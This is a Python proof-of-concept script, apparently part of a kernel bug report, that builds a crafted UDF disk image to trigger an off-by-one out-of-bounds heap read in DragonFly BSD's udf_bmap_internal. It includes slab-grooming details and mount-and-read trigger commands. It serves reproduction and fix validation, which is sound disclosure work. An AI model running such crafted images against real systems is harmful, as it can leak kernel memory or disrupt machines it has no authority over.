#!/usr/bin/env python3
"""
DF-0832 — build a minimal crafted UDF image that triggers the off-by-one
OOB read in udf_bmap_internal (sys/vfs/udf/udf_vnops.c:1104 / :1128).

Image layout (all sectors 2048 bytes, UDF sector = absolute sector here
since part_start=0):

  sec 0..31    : reserved (zero)
  sec 32       : Primary Volume Descriptor (PVD, tag id 1)
  sec 33       : Partition Descriptor (PD, tag id 5), part_num=0, start=0, len=N
  sec 34       : Logical Volume Descriptor (LVD, tag id 6), lb_size=2048,
                 fsd_loc -> sec 64, 1x Type-1 partition map (part_num=0)
  sec 35       : Terminating Descriptor (tag id 8)
  sec 256      : Anchor VDP (tag id 2), main_vds_ex -> sec 32, len=4*2048
  sec 64       : File Set Descriptor (tag id 256), rootdir_icb -> sec 65
  sec 65       : root dir File Entry (tag id 261), dir, short_ad,
                 one AD len=2048 pos=66 ; inf_len=2048 (exact, no OOB on root)
  sec 66       : root dir data: two FIDs (parent ".." + child "target")
  sec 67       : "target" File Entry (tag id 261), regular file, short_ad,
                 ONE AD len=2048 pos=68 ; inf_len=4096  <-- MISMATCH
                 (inf_len > covered len forces bmap_internal to iterate
                  past the only descriptor with ad_offset==l_ad==8 -> OOB)
  sec 68       : file data ("AAAA...")

The trigger is reading /target at offset >= 2048 (e.g. dd if=/mnt/target
bs=1 skip=2048 count=1).  udf_read -> udf_readatoffset ->
udf_bmap_internal(offset=2048):
  iter 1: ad_offset=0, reads short_ad[0] (len=2048). while(2048>=2048) true
  iter 2: offset-=2048=0, ad_offset=8. if(8 > 8) FALSE (BUG). GETICB reads
          data[l_ea+8..l_ea+16) = ONE PAST the only AD = heap OOB read.
"""

import struct, sys

BSIZE = 2048
NSECTS = 320                 # 320*2048 = ~640 KB image; must include sec 256 (anchor)
img = bytearray(BSIZE * NSECTS)

def sector_buf(sec):
    base = sec * BSIZE
    return img, base

def put(sec, off, data):
    base = sec * BSIZE + off
    img[base:base+len(data)] = data

def tag_crc16(data):
    # ECMA-167 / UDF CRC-16 (the polynomial used by OSTA).
    # Implementation of the standard UDF CRC-16-HP (poly 0x8005, init 0).
    crc = 0
    for b in data:
        crc ^= (b << 8)
        for _ in range(8):
            if crc & 0x8000:
                crc = ((crc << 1) ^ 0x8005) & 0xFFFF
            else:
                crc = (crc << 1) & 0xFFFF
    return crc

def make_tag(tag_id, serial, desc_crc, desc_crc_len, tag_loc):
    """Build a 16-byte descriptor tag with correct tag checksum."""
    t = struct.pack('<HHBBHHHI',
        tag_id,        # id
        0x0201,        # descriptor_ver (UDF 2.01)
        0,             # cksum (placeholder)
        0,             # reserved
        serial,        # serial_num
        desc_crc & 0xFFFF,    # desc_crc
        desc_crc_len & 0xFFFF,# desc_crc_len
        tag_loc        # tag_loc
    )
    bs = bytearray(t)
    # udf_checktag: sum bytes [0..14] then subtract byte[4] -> compare to byte[4].
    # i.e. effective sum = bytes 0,1,2,3,5,6,7,8,9,10,11,12,13,14 (14 bytes).
    cksum = 0
    for i in range(15):     # 0..14 only, NOT 15
        cksum = (cksum + bs[i]) & 0xFF
    cksum = (cksum - bs[4]) & 0xFF
    bs[4] = cksum
    return bytes(bs)

def write_descriptor(sec, tag_id, payload_after_tag, tag_loc=None):
    """Write a full descriptor: tag (16B) + payload, with CRC over payload.
    The on-disk layout is: [tag(16)] [payload].  desc_crc covers payload
    only; desc_crc_len = len(payload).  tag_loc defaults to `sec`."""
    if tag_loc is None:
        tag_loc = sec
    payload = bytes(payload_after_tag)
    crc = tag_crc16(payload) if payload else 0
    t = make_tag(tag_id, 0, crc, len(payload), tag_loc)
    put(sec, 0, t)
    put(sec, 16, payload)

# --- constants ---
TAG_PVD, TAG_ANCHOR, TAG_PART, TAG_LOGVOL, TAG_TERM = 1, 2, 5, 6, 8
TAG_FSD, TAG_FID, TAG_FENTRY = 256, 257, 261

# Sectors we use (all partition-relative because part_start=0).
SEC_PVD, SEC_PD, SEC_LVD, SEC_TERM = 32, 33, 34, 35
SEC_ANCHOR = 256
SEC_FSD = 64
SEC_ROOTFE, SEC_ROOTDIR, SEC_TARGETFE, SEC_TARGETDATA = 65, 66, 67, 68

# ----------------------------------------------------------------------
# Anchor VDP (sector 256): main_vds_ex.loc=32, len=4*2048 ; reserve -> 32
# struct extent_ad { uint32 len; uint32 loc; }
# ----------------------------------------------------------------------
anchor_payload = struct.pack('<II', 4 * BSIZE, SEC_PVD)   # main_vds_ex
anchor_payload += struct.pack('<II', 4 * BSIZE, SEC_PVD)  # reserve_vds_ex
write_descriptor(SEC_ANCHOR, TAG_ANCHOR, anchor_payload, tag_loc=SEC_ANCHOR)

# ----------------------------------------------------------------------
# Primary Volume Descriptor (sector 32).  Minimal; many zero fields.
# We just need the tag id + crc to pass udf_checktag.  The mount code
# does NOT validate PVD contents beyond the tag (udf_vfsops.c skips it).
# ----------------------------------------------------------------------
pvd_payload = bytearray(512 - 16)   # vol_desc is large; fill to one sector
# seq_num
struct.pack_into('<I', pvd_payload, 0, 1)       # seq_num
# pdv_num
struct.pack_into('<I', pvd_payload, 4, 0)       # pdv_num
# rest is zero (vol_id, etc.)
write_descriptor(SEC_PVD, TAG_PVD, bytes(pvd_payload[:200]))

# ----------------------------------------------------------------------
# Partition Descriptor (sector 33).
# struct part_desc {
#   tag(16); seq_num(4); flags(2); part_num(2); regid contents(32);
#   access_type(4); start_loc(4); part_len(4); regid imp_id(32);
#   imp_use[128]; reserved[156];
# }
# We need: part_num=0, start_loc=0, part_len=N_SECTS.
# ----------------------------------------------------------------------
pd_payload = bytearray()
pd_payload += struct.pack('<I', 1)       # seq_num
pd_payload += struct.pack('<HH', 1, 0)   # flags=1, part_num=0
pd_payload += bytes(32)                  # contents (regid: zeros)
pd_payload += struct.pack('<I', 1)       # access_type=1 (read-only)
pd_payload += struct.pack('<I', 0)       # start_loc=0 (partition starts at sec 0)
pd_payload += struct.pack('<I', NSECTS)  # part_len
pd_payload += bytes(32)                  # imp_id regid
pd_payload += bytes(128)                 # imp_use
pd_payload += bytes(156)                 # reserved
write_descriptor(SEC_PD, TAG_PART, bytes(pd_payload))

# ----------------------------------------------------------------------
# Logical Volume Descriptor (sector 34).
# struct logvol_desc {
#   tag(16); seq_num(4); charspec(64); logvol_id[128]; lb_size(4);
#   regid domain_id(32); union { long_ad fsd_loc; } (16);
#   uint32 mt_l; uint32 n_pm; regid imp_id(32); imp_use[128];
#   extent_ad integrity_seq_id(8); maps[1];
# }
# We need: lb_size=2048, fsd_loc -> part 0 / sec 64, n_pm=1, one Type-1 PM.
# ----------------------------------------------------------------------
charspec = bytes([0] + [32]*63)          # type 0, CS0 fill byte 0x20 (per UDF)
domain_id = bytes(32)                    # zeros acceptable for the kernel
imp_id = bytes(32)
lvd_payload = bytearray()
lvd_payload += struct.pack('<I', 1)       # seq_num
lvd_payload += charspec                   # desc_charset (64)
lvd_payload += bytes(128).replace(b'\0', b'\0', 1)  # logvol_id (128 zeros)
lvd_payload += struct.pack('<I', BSIZE)   # lb_size=2048
lvd_payload += domain_id                  # domain_id (32)
# fsd_loc: struct long_ad { len(4); lb_addr{lb_num(4),part_num(2)}; ad_flags(2); ad_id(4) } = 16 bytes
fsd_len = BSIZE                          # FSD occupies one sector
lvd_payload += struct.pack('<I', fsd_len) # fsd_loc.len
lvd_payload += struct.pack('<I', SEC_FSD) # fsd_loc.loc.lb_num
lvd_payload += struct.pack('<H', 0)       # fsd_loc.loc.part_num
lvd_payload += struct.pack('<H', 0)       # ad_flags
lvd_payload += struct.pack('<I', 0)       # ad_id
lvd_payload += struct.pack('<I', 64)      # mt_l: partition map length = 64 (one PM of size 64)
lvd_payload += struct.pack('<I', 1)       # n_pm: 1 partition map
lvd_payload += imp_id                     # imp_id
lvd_payload += bytes(128)                 # imp_use
lvd_payload += struct.pack('<II', 0, 0)   # integrity_seq_id (extent_ad)
# Type 1 partition map: type(1)=1, len(1)=64, vol_seq_num(2)=1, part_num(2)=0
pm1 = struct.pack('<BBHH', 1, 64, 1, 0) + bytes(60)
lvd_payload += pm1
write_descriptor(SEC_LVD, TAG_LOGVOL, bytes(lvd_payload))

# ----------------------------------------------------------------------
# Terminating Descriptor (sector 35).
# ----------------------------------------------------------------------
write_descriptor(SEC_TERM, TAG_TERM, bytes(512 - 16))

# ----------------------------------------------------------------------
# File Set Descriptor (sector 64).
# struct fileset_desc { tag(16); timestamp(12); ichg(2); max_ichg(2);
#   charset_list(4); max_charset_list(4); fileset_num(4); fs_desc_num(4);
#   charspec(64); logvol_id[128]; charspec(64); fileset_id[32];
#   copyright_file_id[32]; abstract_file_id[32];
#   long_ad rootdir_icb(16); regid domain_id(32); long_ad next_ex(16);
#   long_ad streamdir_icb(16); reserved[32]; }
# We need rootdir_icb -> part 0 / sec 65.
# ----------------------------------------------------------------------
fsd_payload = bytearray()
fsd_payload += bytes(12)                  # timestamp
fsd_payload += struct.pack('<HH', 4, 4)   # ichg_lvl, max_ichg_lvl
fsd_payload += struct.pack('<II', 1, 1)   # charset_list, max_charset_list
fsd_payload += struct.pack('<II', 0, 0)   # fileset_num, fileset_desc_num
fsd_payload += charspec                   # logvol_id_charset (64)
fsd_payload += bytes(128)                 # logvol_id
fsd_payload += charspec                   # fileset_charset (64)
fsd_payload += bytes(32)                  # fileset_id
fsd_payload += bytes(32)                  # copyright_file_id
fsd_payload += bytes(32)                  # abstract_file_id
# rootdir_icb (long_ad): len, lb_num, part_num, ad_flags, ad_id
fsd_payload += struct.pack('<I', BSIZE)   # len
fsd_payload += struct.pack('<I', SEC_ROOTFE)  # lb_num
fsd_payload += struct.pack('<H', 0)       # part_num
fsd_payload += struct.pack('<H', 0)       # ad_flags
fsd_payload += struct.pack('<I', 0)       # ad_id
fsd_payload += bytes(32)                  # domain_id
fsd_payload += struct.pack('<IIHHI', 0, 0, 0, 0, 0)  # next_ex (long_ad, 16B)
fsd_payload += struct.pack('<IIHHI', 0, 0, 0, 0, 0)  # streamdir_icb (long_ad, 16B)
fsd_payload += bytes(32)                  # reserved
write_descriptor(SEC_FSD, TAG_FSD, bytes(fsd_payload))

# ----------------------------------------------------------------------
# Helpers for File Entries.
# struct icb_tag { prev_num_dirs(4); strat_type(2); strat_param(2);
#   max_num_entries(2); reserved(1); file_type(1); lb_addr(6); flags(2) } = 20B
# struct file_entry {
#   tag(16); icb_tag(20); uid(4); gid(4); perm(2); link_cnt(2);
#   rec_format(1); rec_disp_attr(1); rec_len(4); inf_len(8); logblks_rec(8);
#   timestamp x3 (12*3=36); ckpoint(4); long_ad ex_attr_icb(16);
#   regid imp_id(32); unique_id(8); l_ea(4); l_ad(4); data[1]; }
# ----------------------------------------------------------------------
ICBTAG_SHORT_AD = 0   # flags & 0x7 == 0 -> short_ad allocation descriptors
ICBTAG_LONG_AD  = 1
FILE_TYPE_DIR   = 4    # ECMA-167 / DragonFly udf_vfsops.c:554 (case 4 -> VDIR)
FILE_TYPE_REG   = 5    # case 5 -> VREG

def make_icbtag(strat_type, file_type, ad_kind):
    return (struct.pack('<I', 0) +              # prev_num_dirs
            struct.pack('<H', strat_type) +     # strat_type
            struct.pack('<H', 0) +              # strat_param
            struct.pack('<H', 1) +              # max_num_entries
            bytes(1) +                          # reserved
            struct.pack('<B', file_type) +       # file_type
            struct.pack('<I', 0) +              # parent lb_num
            struct.pack('<H', 0) +              # parent part_num
            struct.pack('<H', ad_kind))          # flags (low 3 bits = ad kind)

def make_timestamp():
    return bytes(12)

def write_file_entry(sec, file_type, ad_kind, inf_len, short_ads, l_ea=0, ea_data=b''):
    """Write a File Entry at `sec`.  short_ads is a list of (len, pos) tuples
    written verbatim into the AD area.  l_ad = len(short_ads)*8 (short_ad).
    inf_len is the file's logical length (we can lie about it).
    l_ea/ea_data control the extended-attribute area size and contents
    (used to size the fentry allocation to exactly 256 bytes so the OOB
    read lands at the start of the next slab chunk for INVARIANTS grooming)."""
    icbtag = make_icbtag(strat_type=4, file_type=file_type, ad_kind=ad_kind)
    if len(ea_data) < l_ea:
        ea_data = ea_data + bytes(l_ea - len(ea_data))
    ea_area = ea_data[:l_ea]
    ad_area = b''
    for (l, p) in short_ads:
        ad_area += struct.pack('<II', l, p)
    l_ad = len(ad_area)
    payload = bytearray()
    payload += icbtag                              # 20
    payload += struct.pack('<I', 0xFFFFFFFF)        # uid = -1 (root)
    payload += struct.pack('<I', 0xFFFFFFFF)        # gid = -1
    payload += struct.pack('<I', 0x00001A00)        # perm: uint32 (rw-r--r-- per UDF mask)
    payload += struct.pack('<H', 1)                 # link_cnt
    payload += bytes(1) + bytes(1)                  # rec_format, rec_disp_attr
    payload += struct.pack('<I', 0)                 # rec_len
    payload += struct.pack('<Q', inf_len)           # inf_len
    payload += struct.pack('<Q', (inf_len + BSIZE - 1)//BSIZE)  # logblks_rec
    payload += make_timestamp() * 3                 # atime, mtime, attrtime
    payload += struct.pack('<I', 1)                 # ckpoint
    payload += struct.pack('<IIHHI', 0,0,0,0,0)      # ex_attr_icb (long_ad, 16B)
    payload += bytes(32)                            # imp_id regid
    payload += struct.pack('<Q', sec)               # unique_id
    payload += struct.pack('<I', l_ea)              # l_ea
    payload += struct.pack('<I', l_ad)              # l_ad
    payload += ea_area                              # EA data
    payload += ad_area                              # AD data[]
    write_descriptor(sec, TAG_FENTRY, bytes(payload))

# ----------------------------------------------------------------------
# Root directory File Entry (sector 65): directory, short_ad, ONE AD
# covering sec 66, inf_len = 2048 (exact).  Reading the root dir at
# offset < 2048 (normal ls) does NOT trigger the bug; only /target does.
# ----------------------------------------------------------------------
write_file_entry(SEC_ROOTFE, FILE_TYPE_DIR, ICBTAG_SHORT_AD,
                 inf_len=2048, short_ads=[(2048, SEC_ROOTDIR)])

# ----------------------------------------------------------------------
# Root directory data (sector 66): two FIDs.
#   FID #0: parent ("..") pointing to root itself.
#   FID #1: "target" pointing to SEC_TARGETFE.
# struct fileid_desc { tag(16); file_num(2); file_char(1); l_fi(1);
#   long_ad icb(16); l_iu(2); data[ l_fi + padding + l_iu ]; }
# ----------------------------------------------------------------------
def write_fid(sec, offset, file_num, file_char, l_fi, name_bytes, icb_len, icb_lbnum, icb_part, l_iu=0, impl_use=b''):
    # FID data must be padded so that the FID is a multiple of 4 bytes
    # AND l_fi is padded to 4-byte boundary per UDF.  We keep it simple.
    payload = bytearray()
    payload += struct.pack('<H', file_num)
    payload += struct.pack('<B', file_char)
    payload += struct.pack('<B', l_fi)
    # icb (long_ad)
    payload += struct.pack('<I', icb_len)
    payload += struct.pack('<I', icb_lbnum)
    payload += struct.pack('<H', icb_part)
    payload += struct.pack('<H', 0)
    payload += struct.pack('<I', 0)
    payload += struct.pack('<H', l_iu)
    payload += name_bytes
    # padding: FID total length must be multiple of 4
    pad = (-len(payload)) % 4
    payload += bytes(pad)
    payload += impl_use
    # write tag + payload into the middle of the sector buffer
    if l_iu == 0 and len(impl_use) == 0:
        crc = 0
    else:
        crc = 0
    # The tag's desc_crc covers bytes AFTER the 16-byte tag.
    pl = bytes(payload)
    crc = tag_crc16(pl)
    t = make_tag(TAG_FID, 0, crc, len(pl), sec)
    base = sec * BSIZE + offset
    img[base:base+16] = t
    img[base+16:base+16+len(pl)] = pl
    return len(pl) + 16

# Parent ".." FID: file_char = PARENT(0x08) ; l_fi=0
# (kernel: udf_readdir.c checks (l_fi==0)&&(file_char&UDF_FILE_CHAR_PAR=0x08))
off = 0
off += write_fid(SEC_ROOTDIR, off,
                 file_num=0, file_char=0x08, l_fi=0, name_bytes=b'',
                 icb_len=BSIZE, icb_lbnum=SEC_ROOTFE, icb_part=0)
# "target" FID: file_char = VIS(0x01); l_fi = 7 ("target"), CS0 dstring
name_cs0 = bytes([8]) + b'target'   # CS0: 8-bit Unicode marker, then ASCII
off += write_fid(SEC_ROOTDIR, off,
                 file_num=1, file_char=0x01, l_fi=len(name_cs0),
                 name_bytes=name_cs0,
                 icb_len=BSIZE, icb_lbnum=SEC_TARGETFE, icb_part=0)

# ----------------------------------------------------------------------
# "target" File Entry (sector 67): regular file, short_ad, ONE AD covering
# sec 68 (len=2048), BUT inf_len=4096.  This is the trigger: reading past
# offset 2048 forces udf_bmap_internal to iterate with ad_offset==l_ad==8.
#
# l_ea=72 so that the kmalloc for this fentry is exactly
#   UDF_FENTRY_SIZE(176) + l_ea(72) + l_ad(8) = 256 bytes
# which is exactly one slab chunk in the kmalloc-256 zone.  The OOB read
# at data[l_ea+l_ad] = data[80] therefore lands at byte 256 of the chunk =
# the FIRST byte of the NEXT slab chunk.  When the next chunk was freed
# under INVARIANTS (debug.use_weird_array=1), its first 64 bytes hold
# WEIRD_ADDR=0xdeadc0de, so the OOB short_ad read returns
# {len=0xdeadc0de, pos=0xdeadc0de} -> the kernel tries to bread a sector
# at ~3.7 billion, which fails with EIO.  This makes the OOB read
# OBSERVABLE (EIO vs clean EINVAL) for before/after fix validation.
# ----------------------------------------------------------------------
TARGET_L_EA = 72   # 176 + 72 + 8 = 256 (one kmalloc-256 chunk)
write_file_entry(SEC_TARGETFE, FILE_TYPE_REG, ICBTAG_SHORT_AD,
                 inf_len=4096, short_ads=[(2048, SEC_TARGETDATA)],
                 l_ea=TARGET_L_EA, ea_data=b'\x00' * TARGET_L_EA)

# ----------------------------------------------------------------------
# Target file data (sector 68): 2048 bytes of 'A'.
# ----------------------------------------------------------------------
put(SEC_TARGETDATA, 0, b'A' * 2048)

# ----------------------------------------------------------------------
# Write the image.
# ----------------------------------------------------------------------
out = sys.argv[1] if len(sys.argv) > 1 else 'df0832.udf'
with open(out, 'wb') as f:
    f.write(img)
print(f'wrote {out} ({len(img)} bytes, {NSECTS} sectors of {BSIZE})')
print(f'trigger: mount the image and read /target at offset>=2048')
print(f'  e.g.  vnconfig -c vn0 df0832.udf ; mount_udf /dev/vn0 /mnt')
print(f'        dd if=/mnt/target bs=1 skip=2048 count=16 2>&1 | hexdump -C')
